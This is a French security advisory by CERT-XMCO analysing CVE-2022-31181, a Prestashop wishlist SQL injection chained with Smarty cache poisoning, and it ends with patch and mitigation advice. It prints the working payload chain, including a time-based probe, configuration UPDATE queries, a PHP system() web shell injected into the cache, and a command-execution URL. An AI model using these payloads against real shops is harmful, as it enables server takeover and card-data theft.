Analyse technique de la faille CVE-2022-31181 exploitée sur Prestashop

Les sites de commerce en ligne sont omniprésents sur Internet et ces derniers ont atteint plus de 112 milliards d’euros de chiffre d’affaires en 2020 [1]. De nombreux commerçants utilisent des systèmes de gestion de contenu (CMS), notamment pour mettre en place leur site e-commerce. Ceux-ci sont facilement personnalisables et ne nécessitent que peu de connaissances techniques pour être utilisés. Parmi les plus connus figurent WordPress, Drupal, et Prestashop.

Dans cet article, nous nous pencherons plus particulièrement sur Prestashop qui s’est vu, récemment, attribuer une vulnérabilité critique impactant la majorité des applications utilisant ce CMS. Par une analyse générale de cette dernière suivie d’explications plus techniques, nous verrons comment des attaquants ont réussi à exploiter cette faille sur un grand nombre de sites web reposant sur ce CMS.

Introduction

Qu’est-ce que Prestashop ?

Créée en 2007, Prestashop est une application web open source permettant la création de boutiques en ligne. Utilisée sur plus de 300 000 sites dans le monde entier, ces sites e-commerce ont généré plus de 15 milliards d’euros de chiffre d’affaires en 2021 [1].

Qu’est-ce que Smarty ?

Smarty est un moteur de template pour PHP. Il permet de concevoir des modèles de page HTML qui seront utilisés par l’application pour générer la page web qui sera renvoyée en réponse à l’utilisateur [4]. L’une des fonctionnalités proposées par Smarty est la mise en cache. Cette dernière permet de garder une trace du rendu d’une page web afin de le réutiliser plus tard.

Description de la vulnérabilité

Récemment, une vulnérabilité critique a été découverte au sein de Prestashop (versions 1.6.0.10 à 1.7.8.6). La vulnérabilité a été référencée CVE-2022-31181 avec une criticité de 9.8 (CVSS:3.1/AV:N/AC:L/ PR:N/UI:N/S:U/C:H/I:H/A:H) [2]. Il s’agit d’une injection SQL chaînée avec une injection de code en détournant l’usage du moteur de template Smarty. Un tel impact donne la possibilité de prendre le contrôle de l’hôte vulnérable.

« Cette faille a fait l’objet d’une campagne d’attaque ayant permis à des cybercriminels d’insérer des skimmers web, c’est-à-dire un code permettant de capturer silencieusement les données de cartes bancaires soumises au sein des formulaires de paiement »

À partir de ce point, un acteur malveillant est en mesure d’effectuer n’importe quelle action sur la machine compromise, dans les limites des permissions accordées au compte utilisateur associé au serveur web. Ce compte est en général www-data sur Linux ou ISS_[nom_de_la_machine] sur Windows.

Normalement, ces derniers ont des permissions limitées. Cependant, si une vulnérabilité permettant une élévation de privilèges est présente (comme par exemple la CVE-2021-3156, aussi connue sous le nom de Baron Samedit), un attaquant pourra accéder à un compte administrateur fournissant le contrôle total du système.

Celui-ci sera alors capable d’effectuer un nombre important de manœuvres malveillantes, incluant de
façon non exhaustive :

  • Le vol de données sensibles (identifiants des utilisateurs, données bancaires, etc.) ;
  • La compromission d’autres machines sur le réseau interne ;
  • L’utilisation d’un ransomware.

L’exploitation de la vulnérabilité nécessite que le module Blockwishlist 2.1.1 (ou antérieur) soit présent, ce dernier étant installé par défaut. Cette faille a fait l’objet d’une campagne d’attaques ayant permis à des cybercriminels d’insérer des skimmers web, c’est-à-dire un code permettant de capturer silencieusement les données de cartes bancaires soumises au sein des formulaires de paiement [3].

Détails techniques

Comment fonctionne la faille ?

Pour exploiter un site web vulnérable, et donc la CVE-2022-31181 permettant l’exécution de commandes, il est d’abord nécessaire d’identifier le paramètre permettant de réaliser l’injection SQL. Dans le cas présent, la liste de souhaits est la fonctionnalité vulnérable.

Un attaquant en boîte noire doit au préalable créer un compte (action réalisable par n’importe quel utilisateur du site web). Il devra ensuite ajouter un produit à sa liste de souhaits (wishlist).

Cette fonctionnalité présente un défaut et va permettre l’exploitation de l’injection SQL. Par le biais de cette dernière, l’attaquant va forcer l’activation du cache Smarty au sein de la base de données MySQL de l’application.

L’étape suivante consistera, grâce à l’injection SQL, à modifier le contenu du cache afin d’empoisonner ce dernier (cache poisoning). La modification de ce cache s’effectuera en y insérant un point d’injection de commande, appelé web shell. La prise de contrôle du serveur à distance sera alors possible pour un attaquant.

Preuve de l’injection SQL

Lors de la visualisation des produits sur la liste de souhaits, un utilisateur peut trier les articles de cette
liste en fonction d’un paramètre. Ce paramètre nommé order permet de trier la liste de souhaits en
fonction de la pertinence, du prix, du nom, dans l’ordre croissant ou décroissant.

Afin de détecter un paramètre vulnérable, différents points d’injection ont été testés dynamiquement via des requêtes HTTP vers le serveur. Cependant, certains paramètres susceptibles d’être vulnérables n’influent pas sur le contenu de la réponse HTTP. Ainsi, nous avons décidé d’utiliser une méthode basée sur le temps afin de détecter la présence d’injections SQL (Time Based SQLi). Ce procédé a pour avantage de ne pas avoir besoin de retour textuel de la part du serveur pour confirmer la faille ; on parle alors d’injection en aveugle (blind SQLi).

Suite à notre série de tests, nous avons déterminé que le paramètre order était vulnérable. La procédure a été réalisée de la façon suivante :

Un utilisateur trie sa liste, en fonction des prix par exemple. Derrière, une requête HTTP GET est émise avec un paramètre order, ayant la valeur “product.price.desc”.

Pour mieux comprendre le fonctionnement de l’injection, il est nécessaire de regarder la requête SQL correspondant au tri. Voici la requête SQL (simplifiée) :


Les variables $sortOrder et $sortWay sont extraites de la valeur du paramètre order (accessible à l’utilisateur), et concaténées au sein de la requête SQL au niveau du paramètre ORDER BY. Nous constatons que la mise à jour du module a ajouté une validation pour ces deux variables qui était absente auparavant. Cette vérification permet de s’assurer qu’aucun code SQL n’a été introduit au sein des deux variables par un utilisateur malveillant. L’absence de cette ligne de code dans les anciennes versions rend la variable $sortOrder vulnérable à des injections.

Note : la valeur de la variable $sortWay était déjà validée (de façon indirecte) à un autre emplacement au sein du code source. Celle-ci ne permettait déjà donc pas d’injection SQL.

Pour rappel, la valeur du paramètre vulnérable order, pour le tri de la liste en fonction des prix était ‘product.price.desc’. Cette chaine de caractères est divisée en trois sous-valeurs séparées par des points (‘product’, ‘price’ et ‘desc’). La deuxième partie de celle-ci correspond à la valeur qui sera stockée dans la variable $sortOrder (vue précédemment).

Un attaquant va pouvoir injecter du code SQL en utilisant la charge utile suivante dans le paramètre impacté :
product.price; select sleep(2); -- desc
Dans le paramètre order comme le montre la capture suivante :

La partie correspondant au champ de référence pour le tri est modifiée de sorte à insérer une seconde requête, ici une requête permettant de faire en sorte que le serveur attende un délai de deux secondes avant de répondre. Le temps d’attente inhabituel pour obtenir la réponse HTTP permettra à l’attaquant de confirmer la présence de l’injection SQL.

Ce délai démontre alors la présence d’une injection SQL, et va permettre l’exploitation de la vulnérabilité via Smarty.

Activation du cache Smarty

L’étape suivante va avoir pour but d’injecter du code SQL de manière à ce que le cache soit activé et enregistré dans la base. Par défaut, celui-ci est enregistré dans des fichiers contenant des noms aléatoires et par conséquent, difficilement accessibles par l’intermédiaire de requêtes SQL.

Pour commencer, il est nécessaire d’avoir connaissance de la structure de la base de données de Prestashop. L’activation du cache se fait par le biais de la table ps_configuration. Celle-ci contient différentes paires clé/valeur représentant différents réglages possibles pour définir le comportement de l’application. Le paramètre correspondant à l’activation du cache Smarty se nomme PS_SMARTY_CACHE.

Notes : lors de l’installation de Prestashop, il est possible de choisir un préfixe pour le nom des tables de la base de données Prestashop. Le nom reste le même, mais le préfixe, par défaut «PS», peut changer.
Par exemple, la table liée aux permissions se nommera PS_ACCESS par défaut, mais avec un préfixe différent, pourrait se nommer PRESTA_ACCESS.

La capture suivante montre une partie du contenu de la base de la table, indiquant que le cache Smarty est désactivé.

Une requête UPDATE va être réalisée, ayant pour objectif de mettre à 1 la valeur de la ligne PS_ SMARTY_CACHE, afin d’activer le cache Smarty. La charge utile correspondante est la suivante :

product.price; UPDATE prefix_configuration SET value=1 WHERE name LIKE «%smarty_cache%»; --

Enregistrement du cache en base de données

Une fois le cache Smarty activé, il faut configurer celui-ci de manière à ce que ce dernier soit enregistré dans la base de données, et non dans des fichiers (comme indiqué dans la configuration par défaut). Ce comportement est géré par le paramètre PS_SMARTY_CACHE_TYPE. Comme le montre cette illustration, la valeur par défaut de celui-ci est “filesystem” (valeur indiquant que les caches Smarty de Prestashop sont stockés sous forme de fichiers).

De façon similaire à la précédente requête SQL effectuée dans la base de données, nous modifions le paramètre PS_SMARTY_CACHING_TYPE, afin que sa valeur soit égale à “mysql” (qui indique que le cache doit être stocké directement dans la base de données). Dans cet objectif, nous envoyons la charge utile suivante dans le paramètre order :
product.price; UPDATE prefix_configuration SET value=”mysql” WHERE name LIKE “%smarty_caching%”; —

Génération du cache Smarty

Une fois le cache Smarty ainsi que son enregistrement en base de données activé, nous allons générer ce dernier. Pour cela, une requête HTTP GET sur la page d’accueil suffit : cette dernière va déclencher la compilation du template Smarty vers du code PHP et HTML. Celui-ci va permettre de générer la page qui sera renvoyée au client.

Du fait des actions que nous avons précédemment réalisées, le résultat de cette compilation va également être mis en cache afin d’éviter de répéter ce traitement lors de prochaines requêtes. Ce cache va être stocké en base de données, dans la table PS_SMARTY_CACHE.

Injection de code dans le cache Smarty

Les caches de template Smarty étant stockés dans la base, il va dorénavant être possible d’injecter le code qui nous permettra de prendre le contrôle du serveur. Les caches stockés en base de données contiennent du code PHP interprété au moment de son utilisation. Une requête SQL permettant l’ajout de code supplémentaire au sein de ces derniers va être utilisée.

product.price; UPDATE prefix_smarty_cache SET content = concat(content, “echo ‘’; echo system($_GET[‘1bf84fb90f26ea44f75dbb5a49746df9’]);echo ‘’;”) WHERE content LIKE “%Informations personnelles%”; —

L’opération UPDATE, permettant la modification d’une donnée, va concaténer du code PHP au contenu déjà existant. Cet ajout va permettre d’exécuter une commande passée dans un paramètre d’URL
(choisi par l’attaquant), au moment d’une requête HTTP. Le résultat de cette commande va ensuite être
inséré au sein du code HTML renvoyé côté client :


Le code ainsi injecté dans le cache est nommé web shell. Ce type de dispositif permet à un attaquant d’exécuter l’ensemble des commandes souhaitées sur le serveur, plutôt que de réinjecter un morceau de code PHP spécifique pour chaque action à réaliser.

Nous venons donc de démontrer comment, à partir d’une instance de Prestashop vulnérable, des individus malveillants sont en mesure de prendre le contrôle d’un serveur web.

Exécution de commandes

Le code PHP étant injecté dans le template, l’exécution de commande est accessible à n’importe quel utilisateur ayant connaissance du nom du paramètre.
Pour ce faire, il suffit d’envoyer une requête HTTP GET contenant le paramètre et la commande à exécuter. Par exemple, la requête vers l’URL suivante :
https://mon.prestashop.site/index.php?1bf84fb90f26ea44f75dbb5a49746df9=pwd va permettre de visualiser le répertoire du site, comme le montre l’illustration suivante.

Voici une illustration résumant les différentes étapes de l’attaque.


Comme signalé dans l’article officiel de Prestashop concernant cette vulnérabilité, il est tout à fait possible de créer et d’écrire dans un fichier à la racine du site contenant un web shell, un code qui va permettre l’exécution de commande et donc, la prise de contrôle du serveur.

Comment se protéger ?

La vulnérabilité affectant les sites Prestashop, référencée CVE-2022-31181 est critique, de par sa simplicité d’exploitation et son impact.
Afin de limiter au maximum l’impact de cette vulnérabilité, la première chose à faire est de mettre à jour Prestashop, afin d’appliquer les derniers correctifs de sécurité.

Une bonne pratique est de vérifier que tous les modules utilisés sont à jour. Le module Blockwishlist étant un module vulnérable à une injection SQL, et aussi la première étape de cette attaque, il est d’autant plus important de le mettre à jour également, la dernière version étant la version 2.1.2.

Pour rappel, les versions vulnérables sont les versions de Prestashop allant de la version 1.6.0.10 à la version 1.7.8.5, la dernière version à installer étant la version 1.7.8.7.

Cette dernière version de Prestashop permet de renforcer le stockage du cache MySQL Smarty.
Néanmoins, pour les utilisateurs ne pouvant pas faire cette dernière mise à jour dû à l’incompatibilité de certains modules, une autre solution de mitigation est disponible.

Les développeurs de Prestashop recommandent de supprimer les lignes suivantes du fichier config/ smarty.config.inc.php [3] :

if (Configuration::get(‘PS_SMARTY_CACHING_TYPE’) == ‘mysql’) {
include PS_CLASS_DIR.’Smarty/SmartyCacheResourceMysql.php’;
$smarty->caching_type = ‘mysql’;
}

Note relative à la CVE-2022-36408

La vulnérabilité décrite dans cet article était à l’origine séparée en deux failles (la CVE-2022-31181 et la CVE-2022-36408). La CVE-2022-36408 concernait l’exécution de commande arbitraire via le cache Smarty (précédemment décrite), et la CVE-2022-31181 concernait uniquement l’injection SQL.

Cependant, plusieurs jours après la divulgation de ces vulnérabilités, l’attribution du numéro de la CVE2022-36408 a été rejetée (ayant été considérée comme un doublon), et les deux failles ont été fusionnées au sein de la CVE-2022-31181. Cette modification explique pourquoi certaines sources peuvent qualifier la vulnérabilité d’une façon différente de celle du présent article.

Références

[1] https://start.lesechos.fr/innovations-startups/portraits-innovateurs/alexandre-eruimy-ceo-deprestashop-le-roi-cache-du-retail-1175030
[2] https://nvd.nist.gov/vuln/detail/CVE-2022-31181
[3] https://build.prestashop.com/news/major-security-vulnerability-on-prestashop-websites/
[4] https://www.smarty.net/

CERT-XMCO

Découvrir d'autres articles